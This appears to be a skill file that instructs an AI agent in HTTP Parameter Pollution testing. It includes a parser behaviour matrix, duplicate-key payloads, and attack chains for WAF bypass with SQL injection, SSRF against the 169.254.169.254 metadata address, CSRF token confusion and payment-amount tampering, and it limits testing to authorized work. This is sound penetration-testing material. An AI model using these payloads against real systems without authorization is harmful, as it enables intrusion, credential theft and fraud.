SKILL: HTTP Parameter Pollution (HPP)

AI LOAD INSTRUCTION: Model the full request path: browser → CDN/WAF → reverse proxy → app framework → business code. Duplicate keys (a=1&a=2) are not an error at HTTP level; each hop may pick first, last, join, or array-ify. Test HPP when WAF and app disagree, or when internal HTTP clients rebuild query strings. Routing note: when the same parameter appears multiple times, or WAF/backend stacks differ, use the Section 1 matrix to test first/last/merge assumptions, then design Section 3 scenario chains.

0. QUICK START

Hypothesis: the security check reads one occurrence of a parameter while the action reads another.

First-pass payloads

id=1&id=2
id=1&id=1%20OR%201=1
url=https://legit.example&id=https://evil.example
amount=1&amount=9999
csrf=TOKEN_A&csrf=TOKEN_B
user=alice&user=admin

Body variants (repeat for POST)

application/x-www-form-urlencoded
id=1&id=2

multipart/form-data
------boundary
Content-Disposition: form-data; name="id"
1
------boundary
Content-Disposition: form-data; name="id"
2

Quick methodology

1. Fingerprint front stack (CDN/WAF) vs origin (language/framework) using baseline a=1&a=2.
2. Send both orders: a=1&a=2 and a=2&a=1 (some parsers are order-sensitive).
3. If JSON: test duplicate keys and Content-Type confusion (see Section 2).

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1. SERVER BEHAVIOR MATRIX

Typical defaults — always confirm; middleware and custom parsers override these.

Technology	Behavior	Example: a=1&a=2
PHP / Apache ($_GET)	Last occurrence	a=2
ASP.NET / IIS	Often comma-joined (all)	a=1,2
JSP / Tomcat (servlet param)	First occurrence	a=1
Python / Django (QueryDict)	Last occurrence	a=2
Python / Flask (request.args)	First occurrence	a=1
Node.js / Express (req.query)	Array of values	a=['1','2'] (shape may vary by parser version)
Perl / CGI	First occurrence	a=1
Ruby / Rack (Rack::Utils)	Last occurrence	a=2
Go net/http (ParseQuery)	First occurrence	a=1

Why it matters: a WAF on IIS might see 1,2 while PHP backend receives 2 only — or the reverse if a proxy normalizes.

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2. PAYLOAD PATTERNS

2.1 Basic duplicate key

GET /api?q=safe&q=evil HTTP/1.1

2.2 Array-style (PHP / some frameworks)

GET /api?id[]=1&id[]=2 HTTP/1.1

2.3 Mixed array + scalar

GET /api?item[]=a&item=b HTTP/1.1

2.4 Encoded ampersand (parser differential)

# Literal & inside a value vs new pair — depends on decoder
param=value1%26other=value2
param=value1&other=value2

2.5 Nested / bracket keys

GET /api?user[name]=a&user[role]=user&user[role]=admin HTTP/1.1

2.6 JSON duplicate keys

{"test":"user","test":"admin"}

Many parsers keep last key; some keep first. JavaScript JSON.parse keeps the last duplicate key.

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3. ATTACK SCENARIOS

3.1 HPP + WAF bypass

Pattern: WAF inspects first value; application uses last.

id=1&id=1%20UNION%20SELECT%20...

Also try: benign value in JSON field duplicated in query string, if gateway merges sources differently.

3.2 HPP + SSRF

Pattern: validator reads safe URL; fetcher reads internal/evil URL.

url=https://allowed.cdn.example/&url=http://169.254.169.254/

Confirm which component (library vs app) consumes which occurrence.

3.3 HPP + CSRF

Pattern: duplicate anti-CSRF token so one copy satisfies parser A and another satisfies parser B.

csrf=LEGIT&csrf=IGNORED_OR_ALT

Use only in authorized CSRF assessments with a clear state-changing target.

3.4 HPP + business logic (e.g. payment)

amount=1&amount=5000
quantity=1&quantity=-1
price=9.99&price=0.01

Pair with race conditions or server-side rounding for higher impact; HPP alone often needs a split interpretation across layers.

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4. TOOLS

Tool	How to use
Burp Suite	Repeater: duplicate keys in raw query/body; Param Miner / extensions for hidden params; compare responses for first vs last interpretation
OWASP ZAP	Manual Request Editor; Automated Scan may not deeply fuzz HPP — prefer manual variants
Custom scripts	Build exact raw HTTP (preserve ordering) — some clients normalize duplicates

Tip: log raw query strings at the app if you control a test lab; some frameworks expose only the “winning” value while logs show the full string.

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5. DECISION TREE

                    +-------------------------+
                    | Duplicate param name    |
                    | same request            |
                    +------------+------------+
                                 |
              +------------------+------------------+
              |                                     |
       +------v------+                       +------v------+
       | Single app  |                       | WAF / CDN / |
       | layer only  |                       | proxy chain |
       +------+------+                       +------+------+
              |                                     |
    +---------v---------+                 +---------v---------+
    | Read framework    |                 | Map each hop:     |
    | docs + test       |                 | first/last/join/  |
    | a=1&a=2 vs swap   |                 | array             |
    +---------+---------+                 +---------+---------+
              |                                     |
              +------------------+------------------+
                                 |
                          +------v------+
                          | Pick attack |
                          | template    |
                          +------+------+
                                 |
         +-----------+-----------+-----------+-----------+
         |           |           |           |           |
    +----v----+ +----v----+ +----v----+ +----v----+ +----v----+
    | WAF vs  | | SSRF    | | CSRF    | | Logic   | | JSON    |
    | app     | | split   | | token   | | numeric | | dup key |
    | value   | | URL     | | confuse | | fields  | | parsers |
    +---------+ +---------+ +---------+ +---------+ +---------+

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Safety & scope: HPP testing can change server state (payments, account settings). Run only where explicitly authorized, with scoped accounts, and document parser behavior before high-impact requests.